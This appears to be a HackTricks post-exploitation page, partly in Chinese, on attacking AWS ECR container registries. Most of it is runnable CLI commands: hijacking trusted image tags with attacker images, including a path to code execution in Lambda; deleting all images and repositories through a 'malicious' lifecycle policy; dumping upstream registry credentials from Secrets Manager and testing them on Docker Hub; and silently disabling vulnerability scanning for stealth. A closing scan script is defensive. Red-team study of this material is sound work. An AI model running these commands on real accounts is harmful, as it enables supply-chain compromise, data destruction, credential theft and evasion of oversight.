AWS - ECR Post Exploitation

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

ECR

更多信息请查看

AWS - ECR Enum

Login, Pull & Push

# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account

# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list

# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL

# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest

# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'

## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"

下载镜像后,你应该检查它们是否包含敏感信息

Docker Forensics - HackTricks

通过 ecr:PutImage 覆盖受信任的 tag (Tag Hijacking / Supply Chain)

如果消费者通过 tag 部署(例如 stable, prod, latest)且 tag 可变,ecr:PutImage 可以被用来通过将镜像 manifest 上传到该 tag 来将受信任的 tag 重新指向攻击者可控的内容。

一种常见的方法是复制现有的、由攻击者控制的 tag(或 digest)的 manifest,然后用它覆盖受信任的 tag。

REGION=us-east-1
REPO="<repo_name>"
SRC_TAG="backdoor"   # attacker-controlled tag already present in the repository
DST_TAG="stable"     # trusted tag used by downstream systems

# 1) Fetch the manifest behind the attacker tag
MANIFEST="$(aws ecr batch-get-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-ids imageTag="$SRC_TAG" \
--query 'images[0].imageManifest' \
--output text)"

# 2) Overwrite the trusted tag with that manifest
aws ecr put-image \
--region "$REGION" \
--repository-name "$REPO" \
--image-tag "$DST_TAG" \
--image-manifest "$MANIFEST"

# 3) Verify both tags now point to the same digest
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text

影响: 任何拉取 .../$REPO:$DST_TAG 的工作负载都会在不修改 IaC、Kubernetes manifests 或 task definitions 的情况下接收到攻击者选择的内容。

下游消费者示例:Lambda 容器镜像在标签更新时自动刷新

如果 Lambda 函数以 容器镜像 (PackageType=Image) 部署,并且使用 ECR tag(例如 :stable:prod)而不是 digest,那么覆盖该 tag 后,在函数刷新时,供应链篡改可能变成 在 Lambda 执行角色内的代码执行

如何枚举这种情况:

REGION=us-east-1

# 1) Find image-based Lambda functions and their ImageUri
aws lambda list-functions --region "$REGION" \
--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
tr '\t' '\n' | while read -r fn; do
img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)"
[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img"
done

# 2) Check whether a function references a mutable tag (contains ":<tag>")
# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.

刷新通常如何发生:

  • CI/CD 或 GitOps 定期调用 lambda:UpdateFunctionCode(即使使用相同的 ImageUri)以强制 Lambda 重新解析标签。
  • 事件驱动的自动化监听 ECR 镜像事件(push/tag 更新)并触发一个刷新器 Lambda/自动化。

如果你能够覆盖受信任的标签并且存在刷新机制,下次函数被调用时将运行攻击者控制的代码,之后该代码可以读取环境变量、访问网络资源,并使用 Lambda 角色调用 AWS API(例如,secretsmanager:GetSecretValue)。

ecr:PutLifecyclePolicy | ecr:DeleteRepository | ecr-public:DeleteRepository | ecr:BatchDeleteImage | ecr-public:BatchDeleteImage

拥有这些权限中的任何一个的攻击者可以创建或修改生命周期策略来删除仓库中的所有镜像,然后删除整个 ECR 仓库。这将导致存储在仓库中的所有容器镜像丢失。

# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json

# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json

# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force

# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force

# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)

如果 ECR Pull‑Through Cache 为需要身份验证的上游注册表(Docker Hub、GHCR、ACR 等)配置,上游 credentials 会存储在 AWS Secrets Manager 中,且具有可预测的名称前缀:ecr-pullthroughcache/。运营人员有时会授予 ECR 管理员广泛的 Secrets Manager 读取权限,从而允许 credential exfiltration 并在 AWS 之外重用这些凭证。

Requirements

  • secretsmanager:ListSecrets
  • secretsmanager:GetSecretValue

Enumerate candidate PTC secrets

aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text

转储发现的凭证并解析常见字段

for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
aws secretsmanager get-secret-value --secret-id "$s" \
--query SecretString --output text | tee /tmp/ptc_secret.json
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done

可选:验证 leaked creds 是否在上游有效(只读登录)

echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io

Impact

  • 读取这些 Secrets Manager 条目会获取可重用的上游注册表凭证(用户名/密码或令牌),这些凭证可在 AWS 之外被滥用来拉取私有镜像或根据上游权限访问额外的仓库。

Registry-level stealth: disable or downgrade scanning via ecr:PutRegistryScanningConfiguration

拥有注册表级别 ECR 权限的攻击者可以静默地通过将注册表扫描配置设置为 BASIC 且不添加任何 scan-on-push 规则,从而减少或禁用对 ALL repositories 的自动漏洞扫描。这会阻止新镜像推送被自动扫描,从而隐藏易受攻击或恶意的镜像。

Requirements

  • ecr:PutRegistryScanningConfiguration
  • ecr:GetRegistryScanningConfiguration
  • ecr:PutImageScanningConfiguration (optional, per‑repo)
  • ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)

Registry-wide downgrade to manual (no auto scans)

REGION=us-east-1
# Read current config (save to restore later)
aws ecr get-registry-scanning-configuration --region "$REGION"

# Set BASIC scanning with no rules (results in MANUAL scanning only)
aws ecr put-registry-scanning-configuration \
--region "$REGION" \
--scan-type BASIC \
--rules '[]'

使用 repo 和 image 进行测试

acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test

# Verify no scan ran automatically
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true

可选:在仓库范围内进一步降权

# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
--region "$REGION" \
--repository-name "$repo" \
--image-scanning-configuration scanOnPush=false

影响

  • 向整个注册表推送的新镜像不会被自动扫描,降低了对易受攻击或恶意内容的可见性,并导致在手动扫描启动前延迟检测。

Registry‑wide scanning engine downgrade via ecr:PutAccountSetting (AWS_NATIVE -> CLAIR)

通过将 BASIC 扫描引擎从默认的 AWS_NATIVE 切换为旧的 CLAIR 引擎,可以降低整个注册表的漏洞检测质量。这不会禁用扫描,但会实质性改变检测结果/覆盖范围。将此与没有规则的 BASIC 注册表扫描配置结合,可使扫描仅在手动触发时运行。

要求

  • ecr:PutAccountSetting, ecr:GetAccountSetting
  • (Optional) ecr:PutRegistryScanningConfiguration, ecr:GetRegistryScanningConfiguration

影响

  • 注册表设置 BASIC_SCAN_TYPE_VERSION 被设为 CLAIR,因此后续的 BASIC 扫描将使用降级的引擎运行。CloudTrail 会记录 PutAccountSetting API 调用。

步骤

REGION=us-east-1

# 1) Read current value so you can restore it later
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true

# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR

# 3) Verify the setting
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION

# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true

# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE

扫描 ECR 镜像以查找漏洞

#!/bin/bash

# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images

region=<region>
profile=<aws_profile>

registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')

# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com

while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks